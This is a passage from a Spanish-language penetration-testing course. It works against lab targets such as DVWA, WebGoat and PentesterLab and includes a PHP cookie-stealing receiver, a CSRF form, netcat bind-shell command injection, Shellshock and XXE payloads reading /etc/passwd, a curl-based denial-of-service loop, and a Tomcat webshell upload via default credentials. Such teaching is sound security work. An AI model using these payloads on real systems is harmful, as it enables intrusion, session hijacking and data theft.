servidor, iniciamos el servidor Apache:

Una vez iniciado, nos vamos a la carpeta donde se encuentran los ficheros de apache
/var/www/html:

y creamos el fichero [Link] con cualquier editor de texto. Por ejemplo gedit:

y le añadimos el siguiente código:

551
Web

<?php
$cookie = $_GET['data'];
$archivoParaGuardarLasCookies = fopen("[Link]", "a+");
fwrite($archivoParaGuardarLasCookies, $cookie . "\n");
fclose($archivoParaGuardarLasCookies);
?>

al fichero:

Tras guardar los cambios, cerramos gedit. Ahora podemos añadir el comentario y el código.
Después pulsamos el botón Sign Guestbook:

Veremos que el comentario se añade y que sólo muestra el texto:

Qué ocurre si ahora, en cualquier ordenador de su casa entra otro usuario a la aplicación.
Por ejemplo, el administrador:

552
Web

y accede a ver los comentarios:

El usuario verá los comentarios y no notará nada. Sin embargo, en nuestro servidor,
habremos recibido la cookie de ese usuario y se habrá guardado en el archivo [Link]:

Podemos ver el contenido del fichero usando el comando cat:

553
Web

Utilizando la cookie, podremos suplantar su identidad. Vamos a ver una manera de hacerlo,
usando Burp Suite. Si yo intento acceder a la web y no estoy autenticado, se me presentará
la pantalla de login:

Abro burp suite:

para usar el proxy y lo configuro en mi navegador:

554
Web

y selecciono que incercepte las peticiones que haga:

tecleo la URL, [Link]/dvwa/ y pulso en la flecha:

555
Web

Veo que el proxy (equipo intermedio) captura la petición. En las cabeceras de la petición
vemos la cookie que el servidor le ha dado a nuestro navegador:

La borramos:

Copiamos la cookie que hemos robado:

556
Web

y la pegamos en el proxy:

Pulsamos el botón Forward (a veces más de una vez):

557
Web

y veremos que, aunque no sepamos ni el usuario ni la contraseña, estamos logados en la


aplicación como el administrador:

Cross Site Request Forgery (CSRF)


Forgery significa falsificación. Es decir, este ataque consiste en que usuario haga una
petición HTTP sin darse cuenta a un sitio web en el que previamente este logado. Es un
ataque en donde vamos a forzar a un usuario a realizar una acción indeseada en un sitio en
el que haya iniciado sesión. El usuario sin darse cuenta realizará una petición HTTP a un

558
Web

sitio que no es el que esta visitando. En este caso vamos a preparar un ataque CSRF para
que un usuario sin darse cuenta realize un comentario en la aplicación DVWA al registrar su
email en otra página web. Para ello, abrimos DVWA con el proxy de burpsuite activado y
desde la opción XSS Stored realizamos un comentario:

Vamos al proxy de burpsuite para ver la petición HTTP que se está realizando:

y nos fijamos en los parámetros que se están pasando en el cuerpo de la petición POST:

Estos tres parámetros son los que nosotros necesitamos para falsificar una petición HTTP
desde otro sitio que diseñemos para este propósito. Sino tenemos iniciado el servidor
apache, lo iniciamos:

559
Web

y accedemos a la carpeta desde donde el servidor apache sirve ficheros:

Lo primero que tenemos que hacer es diseñar el sitio web donde el usuario registrará su
email. En este caso hemos creado el siguiente sitio web utilizando sólo html y css:

<!doctype html>

<html lang="es" itemscope itemtype="[Link]

<head>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">

<title></title>

<style>
html{font-size:24px;}
body * {box-sizing:border-box;}
body{margin:0;padding:0;height:100%;}
header, fieldset, label, input, main {margin:0;padding:0;outline:0;border:0
;display:block;}
input[type="email"]{padding:5px 10px;margin:0px auto;}
input[type="text"]{padding:5px 10px;margin:0px auto;}
input[type="submit"]{padding:5px 10px;margin:10px auto;cursor:pointer;bord
er-radius:5px;background:#DEB887;}
h2{font-weight:normal;padding:10px;}
.pagina{display:block;max-width:900px;margin:0 auto;}
.todo-ancho{width:100%;}
.setenta{width:70%;}
.treinta{width:30%;}
.centrar-texto{text-align:center;}
.texto-grande{font-size: 2em;}
.texto-mediano{font-size: 1.2em}
.borde-email{border-bottom:1px dashed #666;}
.con-borde-rojo{border:2px dashed #DEB887;}
</style>

</head>

<body>

<header class="pagina">
<h1 class="centrar-texto texto-grande">El hogar de los gatos trastos</h1>
<img src="[Link]
<h2 class="centrar-texto texto-mediano con-borde-rojo">Esta página web se
encuentra en proceso de desarrollo</h2>
</header>

560
Web

<main class="pagina">
<h1></h1>
<p>Por favor, facilitenos su dirección de email y en cuanto este terminada
le avisaremos para venga a visitarnos:</p>
<form class="form" action="#" method="post" id="registro">
<div class="todo-ancho">
<input type="email" id="email" placeholder="emaildegatotrasto@domi
[Link]" name="cmd" class="setenta centrar-texto texto-mediano borde-email">
<input type="submit" id="submit" value="Guardar mi email &#128576;"
class="setenta centrar-texto texto-mediano">
</div>
</form>
</main>

</body>

</html>

Creamos un fichero llamado csrf_example.html con el editor de texto que queramos:

Pegamos el código html y css. Lo guardamos:

Y tras cerrar el editor de texto, lo abrimos desde nuestro navegador para visualizar el
aspecto:

561
Web

Si tecleamos una dirección de email y hacemos click en el botón Guardar mi email veremos
que no ocurre nada:

Vamos ahora a modificar el formulario para que, en vez de no pasar nada, haga un
comentario en la aplicación DVWA. Para ello, inspeccionamos el código del formulario en el
fichero csrf_example.html:

562
Web

<form class="form" action="#" method="post" id="registro">


<div class="todo-ancho">
<input type="email" id="email" placeholder="emaildegatotrasto@[Link]" name=
"cmd" class="setenta centrar-texto texto-mediano borde-email">
<input type="submit" id="submit" value="Guardar mi email &#128576;" class="set
enta centrar-texto texto-mediano">
</div>
</form>

Primero vamos a modificar el atributo action de la etiqueta form que es la que nos indica
donde se debe enviar la información que pongamos en el formulario. En este caso la
tenemos que enviar a la máquina que tiene la aplicación DVWA. Miramos cuál es la URL:

y la copiamos en el atributo action de la etiqueta form:

<form class="form" action="[Link] method="p


ost" id="registro">

Y ahora vamos a añadir 3 inputs de tipo oculto al formulario con los parámetros que DVWA
espera. Esos parámetros que capturamos con el proxy de burpsuite:

Es decir, añadimos los siguientes 3 inputs:

<input type="hidden" name="txtName" value="trasto">


<input type="hidden" name="mtxMessage" value="Este comentario lo ha hecho un trasto">
<input type="hidden" name="btnSign" value="Sign Guestbook">

al formulario:

563
Web

<form class="form" action="[Link] method="p


ost" id="registro">
<div class="todo-ancho">
<input type="hidden" name="txtName" value="trasto">
<input type="hidden" name="mtxMessage" value="Este comentario lo ha hecho un t
rasto">
<input type="hidden" name="btnSign" value="Sign Guestbook">
<input type="email" id="email" placeholder="emaildegatotrasto@[Link]" name=
"cmd" class="setenta centrar-texto texto-mediano borde-email">
<input type="submit" id="submit" value="Guardar mi email &#128576;" class="set
enta centrar-texto texto-mediano">
</div>
</form>

Es decir que, cada vez que un usuario haga click en el botón guardar mi email, si el usuario
está logado en DVWA, se firmará el libro de visitas (guestbook) con:

el usuario: trasto
el comentario: Este comentario lo ha hecho un trasto

Guardamos el fichero:

Accedemos nuevamente al fichero ([Link] tecleamos un email


y pulsamos el botón Guardar mi email:

564
Web

Veremos que hace una peticion POST a DVWA en la que se realiza el comentario:

Command Injection

Ejecución de código para conseguir acceso remoto a una


máquina por linea de comandos

565
Web

Vamos ver como aprovecharnos nuevamente de que no se validen correctamente los datos
de entrada para ganar acceso no autorizado a un equipo usando la línea de comandos.
Para ello, pulsamos el botón Command Execution. Veremos un formulario que nos permite
hacer ping a cualquier página web:

Probamos a hacer ping a la página de google ya que es muy probable que este activa.
Tecleamos google y pulsamos el botón submit:

y veremos que se ha realizado el ping a google:

566
Web

En los sistemas operativos GNU/Linux se pueden encadenar comandos usando dos veces
el símbolo &. Vamos a probar si podemos ejecutar un segundo comando que diga hola por
pantalla:

y comprobamos que si se puede:

567
Web

Bien pues sabiendo que podemos ejecutar comandos. Vamos a aprovecharnos del
comando nc (netcat) para crear un camarero (servidor) que escuche peticiones que le
hagamos. Esta vez el cliente, en vez de ser el navegador, será la línea de comandos. Para
crear el camarero con netcat, ejecutaremos el comando nc pasandole las siguientes
opciones:

-l => para indicarle que escuche a los clientes que le pidan cafés (conexiones)
-p => para indicarle a traves de qué ventanilla van a pedirle las cosas. Las ventanillas
normalmente tienen un número asociado. En este caso le vamos a decir que sólo
atienda a los clientes que vayan a la ventanilla 1234
-e => para decirles que tipo de café (servicio) quieren los clientes que se les sirva. En
este caso vamos a indicar al camarero que les a los clientes acceso al programa sh
(consola de comandos) que se encuentra en la carpeta bin

Es decir en este caso pondremos:

nc -lp 1234 -e /bin/sh

568
Web

Ahora si desde una consola de comandos, nos realizamos una petición al camarero a través
de la ventanilla 1234, nos servirá el programa sh:

y podremos ejecutar comandos. Por ejemplo, podemos ejecutar el comando whoami para
saber con que usuario hemos accedido a la máquina:

o leer el archivo (/etc/passwd) donde están todos los usuarios de la máquina:

CVE-2014-6271 - Shellshock
Aunque la mayoría de las aplicaciones ya no presentan este fallo, entra en el exámen y nos
sirve para darnos cuenta que en las cabeceras del protocolo HTTP también se pueden
realizar inyecciones de código. Para ello, usaremos la ISO de pentesterlab que podemos
descargar del siguiente enlace. Shellsock es una vulnerabilidad de ejecución remota de
código del intérprete comandos bash. Hay aplicaciones que en vez de utilizar algún
lenguaje del lado del servidor para tratar datos, utilizan scripts en bash. La aplicación recibe
datos y se los pasa a bash utilizando un canal que se denomina Common Gateway
Interface que simplemente quiere decir la aplicación pasará y recibirá datos de scripts en

569
Web

bash. GGI pasa los datos de las cabeceras del protocolo http como variables de entorno al
script en bash. El modo de hacerlo es usar prefijo HTTP delante de la cabecera. Por
ejemplo, si la cabecera es referer, pasaría el valor de la cabecera referer en una variable de
entorno que se llamase HTTP_REFERER. La vulnerabilidad consiste en que nos permite
ejecutar comandos en el sistema operativo si como valor de la cabecera ponemos una
función en bash seguida del comando que queremos ejecutar. Es decir, declararíamos una
función vacía como valor:

() {:;}

seguida del comando que quisiéramos ejecutar. Por ejemplo:

() { :;}; echo $(</etc/passwd)

Vamos a ver cómo lo explotaríamos con burpsuite. Activamos el proxy de burpsuite:

accedemos a la web:

volvemos a burpsuite y pulsamos el botón Forward:

570
Web

Hacemos click en la pestaña HTTP history, pulsamos con el botón derecho del ratón en la
petición HTTP a la URI /cgi-bin/status y seleccionamos Send to Repeater del menú
desplegable:

Vamos a la pestaña Repeater y pulsamos el botón Go:

Vemos que en la respuesta nos devuelve datos en formato JSON:

571
Web

La inyección vamos a realizarla sobre la cabecera User-Agent. Para ello, cambiamos el


contenido de la cabecera:

por el siguiente comando que mostrará el contenido del fichero /etc/passwd y pulsamos el
botón Go:

Veremos que se nos muestra el contenido del fichero:

572
Web

Al igual que en el ejemplo anterior, también podríamos conseguir acceso a la máquina si,
por ejemplo, un programa como netcat estuviese instalado en el equipo. Copiamos el
payload:

() { :;}; /usr/bin/nc -lp 1234 -e /bin/sh

en la cabecera User-Agent y pulsamos el botón Go:

veremos que, en este caso, no obtenemos respuesta del servidor:

573
Web

esto es buena señal. El servicio que hemos levantado con netcat se ha quedado a la
escucha. Ahora podemos conectarnos al servicio que hemos levantado usando netcat y
ejecutar comandos:

XML External Entities (XXE)


XXE ha ganado el cuarto puesto el proyecto OWASP Top 10 de 2017. La vulnerabilidad se
aprovecha de una validación incorrecta cuando se trabaja con datos en formato XML. XML
es un lenguaje de marcado como HTML pero, a diferencia de HTML donde las etiquetas y
atributos que podemos usar están definidos de antemano, en XML podemos definir
nuestras propias etiquetas. Por ejemplo, un documento XML sobre las películas que hay en
una casa, podría ser así:

574
Web

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

como se puede observar, hemos creado las etiquetas que hemos querido con los atributos
que hemos querido. Ahora bien, al igual que un documento HTML teníamos que indicar el
tipo de documento con la declaración:

<!doctype html>

En un documento XML, lo indicamos con la declaración:

<?xml version="1.0" encoding="UTF-8"?>

Luego para que nuestro documento XML sea completo, añadimos la declaración al
documento de las películas:

575
Web

<?xml version="1.0" encoding="UTF-8"?>

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

En las aplicaciones web, XML se usa tanto para mostrar como para intercambiar datos. Por
ejemplo, los feeds RSS usan este formato para mostrar datos. Por ejemplo, podemos ver
los libros que se publicarán de la editorial No Starch Press:

576
Web

Algunas APIs aceptan datos en XML y devuelven datos en XML. Por ejemplo, la API de
OpenWeatherMap puede mostrar los datos del tiempo que hace actualmente en Londres en
formato XML:

Una vez visto, informalmente, como es un documento XML básico, vamos a profundizar un
poco más. En el lenguaje HTML, las etiquetas que se pueden usar estar definidas, sin
embargo en XML, podemos usar las que queramos. Esto puede hacer que nos
preguntemos ¿Cómo podemos saber si un documento XML es válido o no. Si recordarmos
del lenguaje HTML, cuando comenzábamos un documento, lo hacíamos con la declaración
DOCTYPE:

<!doctype html>

El DOCTYPE de un documento nos indica que es válido y que no. En el lenguaje XML,
también podemos definir un doctype para los documentos que creemos. En el doctype,
entre otros, podremos indicar:

Qué etiquetas son válidas en nuestro documento XML


Qué atributos puede tener un elemento (etiqueta) del documento
Si los datos de un elemento deben ser parseados o no

Veamos un ejemplo. Aunque se puede guardar el doctype en un fichero aparte con la


extensión dtd, vamos a comenzar viendo la forma de definir el doctype en el documento que
estemos creando ya que esta es la forma que usaremos para aprovecharnos de la
vulnerabilidad que presentan algunas algunas aplicaciones al procesar datos en formato
XML y así poder lanzar un ataque XXE. Si quisiéramos crear un doctype interno para
nuestro archivo XML de películas, crearíamos el doctype tras la definición del documento
XML:

577
Web

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE películas []>

y entre los corchetes, definiríamos los elementos válidos con la etiqueta !ELEMENT.
Veamos el ejemplo para nuestro archivo de películas:

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
]>

En el doctype vemos que el elemento principal y el de mayor jerarquía es películas:

<!DOCTYPE películas [

Después vemos que el elemento películas puede contener uno o varios elementos
(etiquetas) película. Esto nos lo indica el símbolo + tras la palabra películas:

<!ELEMENT películas (película+)>

Cada elemento película puede contener los siguientes elementos (etiquetas):

título
directora
director
reparto
género
actriz
actor

<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>

finalmente indicamos si los datos de cada una de las etiquetas deben ser parseados o no:

PCDATA indica que deben ser parseados

578
Web

CDATA indica que no deben ser parseados

en este caso indicamos que todos los datos de las etiquetas deben ser parseados:

<!ELEMENT título (#PCDATA)>


<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>

El documento XML de las películas con el doctype que hemos creado quedaría así:

579
Web

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
]>

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

Esta es la forma de usar un DOCTYPE interno dentro del documento XML. Estos doctypes
internos se conocen con el nombre internal DTD (Document Type Definition). Si quisiéramos
utilizar un doctype externo (external DTD) para validar nuestro archivo XML, también
podemos hacerlo. Para ello, en vez de definir los elementos del documento en el fichero
XML de películas, creamos un fichero que se llame, por ejemplo, pelí[Link] con los
elementos:

580
Web

<!ELEMENT películas (película+)>


<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>

y una vez hemos creado el documento pelí[Link], utilizamos la palabra SYSTEM para
indicar la URI donde se encuentra el fichero:

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE películas SYSTEM "pelí[Link]">

Nuestro documento XML de películas con doctype externo ([Link]) quedaría así:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE películas SYSTEM "pelí[Link]">

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

581
Web

Aunque la forma externa (external DTD) es más límpia, debido a que para aprovecharnos
de la vulnerabilidad vamos a necesitar la forma interna (internal DTD), continuaremos
usando internal DTD en lo que queda de guía. En un doctype, no sólo podemos definir los
elementos válidos, sino también podemos definir entidades (entities) XML. Al igual que
ocurre en el lenguaje HTML, en XML podemos usar entidades para representar caracteres
que de otra forma no podríamos. Por ejemplo, imaginemos que en el lenguaje HTML,
quisiéramos representar el símbolo menor qué (<) o mayor qué (>). Estos símbolos se usan
en las etiquetas HTML y XML, si los usáramos, se interpretaría cómo que estamos
utilizando una etiqueta y, probablemente, sobre todo en el caso del símbolo menor qué, no
se mostraría correctamente el contenido. Para que no exista duda entre si estamos usando
una etiqueta o simplemente queremos mostrar el símbolo, existen las entidades. Para usar
una entidad se escribe el símbolo & seguido del código de la entidad y terminamos en ;. Por
ejemplo, si quisiéramos representar el símbolo menor qué, usaríamos &lt;

<p>5 es menor que &lt; 7</p>

y se vería "5 < 7":

algunas entidades como mayor qué o menor qué vienen definidas en el lenguaje HTML y
XML. Por ejemplo:

582
Web

&lt; es el símbolo menor qué (<)


&gt; es el símbolo mayor que (>)
&amp; es el símbolo ampersand (&)
&#128570; es un gatito con la cara sonriente

Sin embargo, XML también nos da la oportunidad de crear nuestras propias entidades XML
en el doctype utilizando la etiqueta !ENTITY. Veamos un ejemplo, creemos una entidad para
referirnos a nuestra película favorita. Para ello, creamos la etiqueta:

<!ENTITY favorita "El club de los poetas muertos">

Una vez creada la entidad, la incluimos en el doctype:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita "El club de los poetas muertos">
]>

del documento XML:

583
Web

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita "El club de los poetas muertos">
]>

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

Ahora en vez de usar como título El club de los poetas muertos:

<título>El club de los poetas muertos</título>

podemos usar la entidad que hemos creado:

<título>&favorita;</título>

584
Web

en el documento XML:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita "El club de los poetas muertos">
]>

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>&favorita;</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

y si lo guardamos en un fichero que se llame, por ejemplo, pelí[Link]:

585
Web

veremos que la entidad que hemos creado se muestra correctamente:

586
Web

Al igual que ocurre con los doctypes que podían definirse internamente en el documento
XML (internal DTD) o externamente indicando una URI (external DTD), con las entidades
XML ocurre exactamente lo mismo. Aquí hemos visto cómo definir una entidad en el
doctype del documento XML pero también podemos definirla aparte. Para ello creamos un
documento XML que, por ejemplo, se llame [Link]. Copiamos la entidad:

<!ENTITY favorita "El club de los poetas muertos">

y la pegamos en el fichero:

Una vez hecho esto, en el XML de pelí[Link], nuevamente utilizamos la palabra


SYSTEM para indicar la URI donde se encuentra el fichero [Link]:

<!ENTITY favorita SYSTEM "[Link]">

el fichero pelí[Link] quedaría así:

587
Web

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
<!ENTITY favorita SYSTEM "[Link]">
]>

<películas>

<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>

<película prestada="no">
<título>&favorita;</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>

</películas>

Y este es el vector de ataque: XML External Entities. Como hemos visto estas entidades
podemos definirlas a gusto en el doctype de cualquier documento XML y, cuando los datos
en formato XML sean procesados, si la validación de los datos no se hace de forma
correcta, se sustituirá la entidad XML por el contenido que haya en la URI que indiquemos
sea cual sea.

Leyendo ficheros

588
Web

Por ejemplo, ¿qué pasaría si le indicasemos la ruta a un fichero? Vamos a probar este
ejemplo contra la aplicación WebGoat de OWASP. Para ello, en el menú de la izquierda,
hacemos click sobre el desplegable Parameter Tampering y seleccionamos XML External
Entity (XXE):

y nos aparecerá el siguiente formulario de busqueda:

Antes de usarlo iniciamos Burpsuite y, como webgoat se levanta por defecto en el mismo
puerto que Burpsuite, vamos a las opciones del proxy de burp y en Proxy Listeners
pulsamos en el botón Add:

589
Web

le indicamos un número de puerto y pulsamos el botón OK:

de esta manera, habremos levantado el proxy en el puerto 8081:

ahora lo configuramos en el navegador:

590
Web

y activamos la opción de interceptar las peticiones y las respuestas HTTP:

Ahora volvemos a WebGoat, tecleamos lo que queramos en el campo From y pulsamos


Intro:

Si vamos a burpsuite, veremos que la petición HTTP ha sido interceptada y que los datos
del payload van en formato XML:

591
Web

Si pulsamos sobre la pestaña XML, podremos ver los datos en un formato mucho más
agradable:

Aquí es donde podremos modificar el contenido XML que enviamos al servidor. En este
caso vamos a definir un entidad externa que haga referencia al fichero /etc/passwd. Para
ello, definimos un doctype, en este caso lo llamaré ataquexxe y la entidad XML que
queramos en este caso leerpasswd:

<!DOCTYPE ataquexxe [
<!ENTITY leerpasswd SYSTEM "[Link]
]>

592
Web

La URI la indico utilizando el scheme file que me permite leer ficheros en el navegador. Una
vez definido el doctype, lo añado a la petición original y incluyo la entidad &leerpasswd;
entre las etiquetas from. Después pulso el botón forward para enviar los datos XML al
servidor:

y vemos que el servidor no parsea correctamente nuestra petición y nos permite usar una
URI con el scheme file para leer ficheros. Pulsamos, nuevamente el botón forward:

para enviar la respuesta del servidor, a nuestro navegador:

593
Web

Leer el fichero /dev/random puede ayudarnos a degradar el


servicio o tirar la aplicación web
Otro de los ataques que podemos intentar si queremos degradar un servicio o incluso
provocar una denegación de servicio, podemos realizar varias peticiones para que lea el
fichero /dev/random (/dev/random es un generador de números pseudoaleatorios). Para
ello, con el proxy de burpsuite activo, usamos la misma técnica. Accedemos al formulario y
realizamos una busqueda:

Vamos a burpsuite, pulsamos sobre XML y editar el contenido:

594
Web

En este caso le decimos que lea el archivo /dev/random:

<?xml version="1.0"?>
<!DOCTYPE ataquexxe [
<!ENTITY random SYSTEM "[Link]
]>
<searchForm>
<from>&random;</from>
</searchForm>

y pulsamos el botón forward para enviar la petición POST al servidor:

tras un rato, hacemos click nuevamente en el botón forward para enviar la respuesta del
servidor al navegador:

595
Web

en principio parece que, aunque haya tardado un poco más, no ha pasado nada:

Vamos a la pestaña HTTP history hacemos click con el botón derecho del ratón sobre la
petición que acabamos de hacer y seleccionamos Send to Repeater del menú desplegable
para realizar nuevamente la petición:

596
Web

Hacemos click en la pestaña Repeater:

Repeater nos va a permitir repetir una petición HTTP modificando las cabeceras o
parámetros que queramos. Para ello, sólo debemos pulsar el botón Go:

597
Web

y veremos la respuesta del servidor en la pantalla de la derecha:

Si pulsamos el botón más de dos veces, observaremos que la respuesta del servidor tarda
en llegar:

598
Web

Sin embargo, como Repeater hace las peticiones de una en una, desde aquí es muy dificil
que podamos tirar el servicio o degradarlo lo suficiente. Para poder tirarlo bien, vamos a
hacer las peticiones desde la línea de comandos usando curl. Para ello, copiamos la
cabecera cookie:

que es la que contiene nuestra sesión activa en la web y añadimos la cabecera Content-
Type para indicar que los datos del payload van en formato XML. La petición quedaría así:

curl -i -X POST -H "Content-Type: text/xml" -H "Cookie:


JSESSIONID=3055356DBE17AE5C2D08B6724C9A7AD2" --data '<?xml version="1.0"?>
<!DOCTYPE ataquexxe [<!ENTITY random SYSTEM "[Link]
"[Link]

599
Web

La probamos y vemos que funciona:

Una vez que probamos que funciona vamos a ir lanzando muchas peticiones en segundo
plano. Para ello, utilzamos el caracter & tras el comando curl:

curl -i -X POST -H "Content-Type: text/xml" -H "Cookie:


JSESSIONID=3055356DBE17AE5C2D08B6724C9A7AD2" --data '<?xml version="1.0"?>
<!DOCTYPE ataquexxe [<!ENTITY random SYSTEM "[Link]
"[Link] &

y llegará un momento qué, en vez ver la respuesta HTTP habitual:

veremos un error:

600
Web

Si copiamos el texto:

y lo pegamos en fichero con extensión html, podremos visualizarlo de forma más ordenada:

En este caso, la aplicación WebGoat seguirá en pie, pero este es un ataque que no todas
las aplicaciones web están preparadas para soportar. Para ampliar conocimientos, os dejo
los siguientes enlaces:

xml-external-entity-xxe-vulnerabilities

601
Web

Billion_laughs_attack
quadratic-blowup-denial-of-service-attack

Contraseñas por defecto en el panel de administración de


un servidor Tomcat
Los servidores (camareros) Apache Tomcat tienen una página de administración que se
llama Tomcat Manager. Esta página, en muchas ocasiones la dejan con las contraseñas
que viene por defecto. Accedemos al servidor tomcat y en el menú de la izquierda,
pulsamos sobre Tomcat Manager:

veremos que nos aparece un formulario de login:

Consultamos las contraseñas por defecto de los servidores Apache Tomcat:

602
Web

En este caso es tomcat el usuario y tomcat la contraseña:

Desde donde podremos acceder al panel de administración, llamado manager, del servidor
Apache Tomcat:

603
Web

Desde el manager, podemos ganar acceso remoto a la máquina subiendo una webshell. En
este caso el lenguaje es Java. Aunque siempre que hagamos un ejercicio real, deberíamos
programar la webshell, en este caso, vamos a ver cómo subir una webshell que ya viene
por defecto en Kali Linux. Las webshells están en la ruta /usr/share/laudanum:

En este caso, nos interesan las webshells jsp (Java Server Pages). En este caso, vamos a
usar la webshell [Link]:

Una vez sabemos donde están, pulsamos el botón Browse:

604
Web

Seleccionamos la webshell y pulsamos el botón Open:

finalmente pulsamos el botón deploy para subirlas:

Si ahora accedemos a [Link] veremos la webshell que


hemos subido:

605
Web

ahora podremos teclear cualquier comando como ls y pulsar el botón Send:

para ver el resultado:

606
Web

Validación de archivos que se suben al servidor

Subiendo un tipo de archivo no esperado al servidor


En muchas páginas existen formularios que nos permiten subir archivos como, por ejemplo,
imágenes. Sí estos formularios no validan correctamente los ficheros que subimos,
podremos subir archivos maliciosos al servidor. Vamos a ver varios ejemplos. Bajamos una
imagen para jugar con ella, utilizando el comando wget. Yo he bajado esta:

wget [Link] -O [Link]

